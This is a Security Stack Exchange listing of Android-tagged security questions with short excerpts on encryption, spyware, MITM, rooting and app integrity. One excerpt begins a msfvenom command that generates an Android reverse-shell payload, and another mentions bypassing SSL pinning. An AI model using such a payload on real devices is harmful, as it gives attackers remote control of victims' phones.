Skip to main content
Share Your Experience: Take the 2024 Developer Survey

Questions tagged [android]

Questions tagged [Android] should focus on security of the operating system itself, or of Android-specific apps. Questions about Android that are not directly security-related should be asked at android.stackexchange.com.

Filter by
Sorted by
Tagged with
64 votes
4 answers
21k views

Why do mobile devices force user to type password after reboot?

Nowadays, many mobile phones have supported unlocking through fingerprint recognition. However, both iOS and Android require users to enter the password after the device is rebooted, even though an ...
nalzok's user avatar
  • 779
8 votes
1 answer
3k views

Connection between PIN/password and encryption keys in Android

I am trying to piece together some information about the security system in Android. Particularly about how user's password/PIN is connected with encryption keys in file-based encryption mode. I'm ...
Setplus's user avatar
  • 191
24 votes
2 answers
8k views

How do anti-virus apps for Android work?

There seems to be a lot of anti-virus apps for Android. On a desktop or server an anti-virus must run with super-user privileges, however I am pretty sure these mobile anti-viruses are running as an ...
rook's user avatar
  • 47.2k
24 votes
4 answers
24k views

Verifying android application integrity from server side

I have android applications (Mobile banking) that connect to my server and do online transactions (via Internet/USSD/SMS), I want to make sure those clients are not tampered with and are the original ...
Silverfox's user avatar
  • 3,407
90 votes
2 answers
129k views

What is the difference between serial number and thumbprint?

I have problems to understand what is the difference between the serial number of a certificate and its SHA1 hash. The MSDN says: Serial number A number that uniquely identifies the ...
reox's user avatar
  • 1,052
31 votes
2 answers
190k views

Can Android phone running without SIM card be tracked (localized) by police?

I am running an Android phone without a SIM card. I am using it for web surfing. Can the police localize my phone using the cell towers (BTS)? In other words, I know Android phones emit radiations ...
yasserbn's user avatar
  • 413
15 votes
1 answer
7k views

Secure way to hold private keys in the Android app

What would be the most appropriate way to store private keys for barcode signing in the Android app? Probably most experts here would say - just don't do it, cause it's insecure... But I would like to ...
aholbreich's user avatar
11 votes
3 answers
80k views

How to determine if it is safe to install apk files from alternative android app stores?

Several sites offer APK downloads (1, 2, 3). Is there a way to determine if a given website/apk is safe to install?
Sparkler's user avatar
  • 805
535 votes
18 answers
118k views

Police forcing me to install Jingwang spyware app, how to minimize impact?

Chinese police are forcing whole cities to install an Android spyware app Jingwang Weishi. They are stopping people in the street and detaining those who refuse to install it. Knowing that I may be ...
Citizen's user avatar
  • 2,741
34 votes
3 answers
3k views

Security implications of rooting Android

My Android smart phone has fancy features that I can get only if I root it, e.g., free-wifi tethering or Cisco VPN (with group name/password). However, the procedure to root my phone makes me ...
dr jimbob's user avatar
  • 39.4k
23 votes
7 answers
65k views

How do you capture ALL the traffic from an Android app?

I want to capture all the traffic from an Android app for its pen-testing. How do I do that? Here's what I've already tried: I installed the app on an emulator and started the emulator with a http-...
Pervy Sage's user avatar
19 votes
4 answers
15k views

Is Android's Password Screen Lock Enough Data Theft Protection?

With the exception of the SD card data, is Android's built-in password/pin/pattern screen lock enough to protect data stored in your phone's internal storage in case of theft? Or can a thief simply by-...
IMB's user avatar
  • 2,968
15 votes
2 answers
16k views

How can I prevent a man-in-the-middle (MITM) attack on my Android app API?

I checked out the app Packet Capture. This app is able to decrypt my app APIs (SSL Enabled) data by mounting a MITM attack using the Android VPN service. This does not even require root. How can I ...
Madhur Ahuja's user avatar
7 votes
3 answers
12k views

Can someone detect the URL an android app uses?

I have an android app that makes HTTPS connection to specific URL. Is there a way to keep this URL secret? I know that the IP address and the port number of that connection can be detected, but what ...
ilija139's user avatar
  • 173
88 votes
3 answers
18k views

Google account verification request

Yesterday evening my android phone (Google Play Services app) asked me to log in again into my account due to "security changes" (I don't remember the exact wording used). I double checked it was the ...
BgrWorker's user avatar
  • 1,929
86 votes
3 answers
15k views

Can phone apps read my clipboard?

Via Hacker News, I came across a Tweet implying that Facebook's iOS app routinely reads and transmits all content from the user's pasteboard. Leaving aside whether Facebook's app genuinely does this (...
Mark Amery's user avatar
  • 1,827
78 votes
7 answers
91k views

Are there actually any advantages to Android full-disk encryption?

So, since Android 3, devices can perform boot-time, on-the-fly encryption/decryption of the application storage area (NOT the SDcard/removable storage) - essentially full-disk encryption. This ...
scuzzy-delta's user avatar
  • 9,341
57 votes
2 answers
15k views

How exactly does the Stagefright Vulnerability work on Android?

Digital Trends describes the Stagefright Vulnerability thus: The exploit in question happens when a hacker sends a MMS message containing a video that includes malware code. What’s most alarming ...
PositriesElectron's user avatar
42 votes
7 answers
6k views

Best practices for securing an android device

Does anyone have any suggestions on securing an Android device? I'm not particularly interested in enterprise level software - I'm looking to secure my own ZTE Blade phone which has a lot of personal ...
Chris Dale's user avatar
  • 16.1k
35 votes
4 answers
10k views

How do I verify HTTPS connections in Mobile apps?

There are a lot of mobile apps nowadays with payment gateways support. However, unlike desktop browsers, these mobile apps do not show us an 'Address bar' by which we can identify a HTTPS connection. ...
Adarsh Konchady's user avatar
31 votes
5 answers
75k views

How do location-based apps avoid getting cheated by emulated GPS?

Some apps like Foursquare require the user to "check in" at physical places, in order to gain money benefits. Given that emulated GPS are available for customized versions of Android, it sounds easy ...
Nicolas Raoul's user avatar
19 votes
4 answers
11k views

Securely erasing personal data from Android phone before selling

I have just sold online my old Nexus 5 (Android Lolipop) and need to post it tomorrow morning. I would like to make sure the new owner can't access my files. What should I do?
user avatar
17 votes
5 answers
3k views

Android API/development security pitfalls

What are the most important security issues that developers of Android apps need to know about? What are the biggest pitfalls or kinds of vulnerabilities that they need to watch out for? One ...
D.W.'s user avatar
  • 99.8k
16 votes
4 answers
5k views

What risk does Carrier IQ pose, exactly?

There has been a lot of discussion about Carrier IQ, monitoring software that is pre-installed on many Android phones. Many allegations have been thrown out. My questions: What exactly does Carrier ...
D.W.'s user avatar
  • 99.8k
12 votes
1 answer
4k views

Is there cryptographic material in a phone's SIM card that can be used with RSA encryption?

Given that a smart card stores a private key that can't be extracted, it appears that a SIM card is similar to a smart card in these respects. I need to store (or use an existing) private key on a ...
makerofthings7's user avatar
10 votes
7 answers
37k views

How safe/secure are banking applications on Android phones?

I have a mobile banking application installed on my phone which allows me to pay for things, transfer money using my phone from my account to another etc. How safe or unsafe is this application? For ...
oshirowanen's user avatar
7 votes
1 answer
39k views

Disable or bypass SSL Pinning/Certificate Pinning on Android 6.0.1

Previously I have been able to bypass SSL Pinning by using the program JustTrustMe with the Xposed framework for nearly every app. https://github.com/Fuzion24/JustTrustMe However it has started to ...
Ogglas's user avatar
  • 777
4 votes
1 answer
15k views

msfvenom payload problem

This is for educational purposes only! I'm trying to generate android payload using msfconsole payload standalone generator: msfvenom with the command: msfvenom -p android/shell/reverse_tcp LHOST=...
Eibo's user avatar
  • 2,495
2 votes
2 answers
2k views

Can an android phone that is flashed to a trusted safe rom still be malicious?

I'm in the market for a new phone. The cheapest ones with decent specs are from China. Unfortunately I've read articles of phones sending data back to China for spying purposes. The phone I am looking ...
Terence Chow's user avatar
52 votes
6 answers
12k views

Am I at risk if I let someone charge their Android phone from my MacBook through a micro USB cable?

Someone connected their Android phone to my MacBook and it made me think if this has put my MacBook at risk. It was for 3 seconds and I was in control of the MacBook the whole time.
Emanuil Rusev's user avatar
32 votes
1 answer
6k views

How does a refresh token help? [duplicate]

I have a basic doubt or apparently am missing out on something fundamental. When talking about an Android app that talks to the backend using APIs, the access to the resources/APIs are protected ...
qre0ct's user avatar
  • 1,522
26 votes
2 answers
5k views

Does File-Based Encryption offer comparable security to Full-Disk Encryption on Android?

Between version 4.4 and 9, Android supported Full-Disk Encryption (FDE). On Android 7, a new system called File-Based Encryption (FBE) was introduced, and was subsequently made mandatory on Android 10....
user avatar
21 votes
2 answers
5k views

How can I escape Google?

I am unsure how to formulate this question, so please feel free to edit it. I considered asking on https://android.stackexchange.com/ but feel that this is more security related and more likely to ...
Mawg's user avatar
  • 1,410
20 votes
6 answers
61k views

How do I know if Google keyboard input is safe for use?

I wanted to send out a message containing some non-Latin characters on my Android phone. When I tried to change the keyboard input method, a warning came out: ATTENTION This input method may be ...
Question Overflow's user avatar
16 votes
2 answers
10k views

Android L encryption vs. iOS 8 encryption

Recently, the new full-disk encryption system of Apple's iOS 8 operating system has been in the news. And soon after Apple's release, Google announced that they will also enable encryption by default ...
Jukka Suomela's user avatar
16 votes
4 answers
7k views

How can I make sure password hashing is secure on computers while not being prohibitively slow on mobile devices?

I'm new to cryptography and its implementations. I'm designing an Android app where an user enters a password to retrieve some encrypted data. After some research on possible solutions I ended up with ...
nsL's user avatar
  • 263
16 votes
8 answers
18k views

Keyloggers on Smartphones?

I need to clarify my question. I'm wondering if there are any apps for smartphone that can log each 'keystroke' (i.e. key pressed on touchscreen) that a user does. Performing a google search brings up ...
Pits's user avatar
  • 169
15 votes
3 answers
5k views

iOS/Android Pen-Test

This question might be vague, that is because I am not sure where to start. There are a lot of books and courses on pentest focusing on networks, systems, and OS such as windows, yet I haven't been ...
Rick Rhodes's user avatar
  • 1,102
12 votes
2 answers
373 views

Is there always a user notification when smartphones record audio?

Background: With microphones being embedded in all sorts of consumer electronics, there is widespread concern that certain actors (e.g. device manufacturers, ecosystem providers, third-party apps) ...
ayon's user avatar
  • 151
12 votes
2 answers
34k views

How can I detect which background application is using the camera, microphone or GPRS?

I want to learn how to write and Android application that can detect a run time spy application. In this instance, a "spy application" is a background application that uses the camera, microphone and ...
Goshawk's user avatar
  • 156
12 votes
2 answers
289 views

Does Centralisation Decrease the Probability but Increase the Damage of Exploits?

This question is, perhaps, a tad too abstract for a Q&A site. But it's been playing on my mind for a while, so I'm throwing it out there. Modern systems seem to be increasingly centralised. An ...
Louis Jackman's user avatar
10 votes
3 answers
19k views

Android/iOS application security testing checklist

According to OWASP, we have a list of top ten mobile application vulnerabilities. But we are damn sure that the number of vulnerabilities on mobile apps, especially android apps are far more than ...
Anandu M Das's user avatar
  • 2,057
9 votes
2 answers
614 views

How much can I trust the "factory restore/reset" on a(n) (potentially compromised) android?

This question is a simple one: how much can you trust the "factory restore/reset" option on an android device? If the device has possibly been compromised, is it possible the "factory reset" will ...
user1833028's user avatar
9 votes
4 answers
9k views

Any useful tools for Android source code review? [closed]

I'm wondering if anyone has some recommendations for Android source code review which is Java based. For example, reviewing an Android app for security issues. Bonus for being F/OSS. Fortify seems ...
Lizbeth's user avatar
  • 757
8 votes
1 answer
2k views

Can I find out what encryption is used by my Android Bluetooth keyboard?

I've got an Android tablet (Samsung Tab S2) and a Bluetooth keyboard (Celicious Tri BK01). I occasionally use the keyboard to enter my password. Is there any way, in Android, to find out whether the ...
Roger Lipscombe's user avatar
8 votes
4 answers
19k views

Can visiting a malicious website infect an iOS or Android device?

Can visiting a malicious website infect an iOS or Android device? We're talking about visiting such sites via a browser. We're not talking about downloading any malicious apps.
Honey Badger's user avatar
8 votes
1 answer
10k views

Android Keychain: what is a system wide credential?

Android documentation about keystore system has a sub-section Choose between a keychain or the Android keystore provider, it says we should use the KeyChain API when we want system-wide credentials. ...
b4da's user avatar
  • 710
7 votes
3 answers
7k views

What is this Russian calendar reminder that popped up?

I woke up this morning and saw a calendar reminder that I definitely did not put there, written in Russian. It would be super helpful if anyone knows what the text means, but I figured opening the ...
Darin Beaudreau's user avatar
6 votes
2 answers
13k views

How secure is full-disk encryption technology on LineageOS, or Android phones in general?

We're attempting to assess the information security on our mobile devices, and information seems rather varied on the question of encryption. Is the encryption technology employed by Android-based ...
user11272717's user avatar
6 votes
3 answers
20k views

Which type of encryption algorithms android supports, and which would be better?

I read this documentation, and I have written an algo to encrypt and decrypt a string. But I don't know how many types of algorithms android supports. Regarding DES and AES (As wiki documentation) ...
Pankaj Kumar's user avatar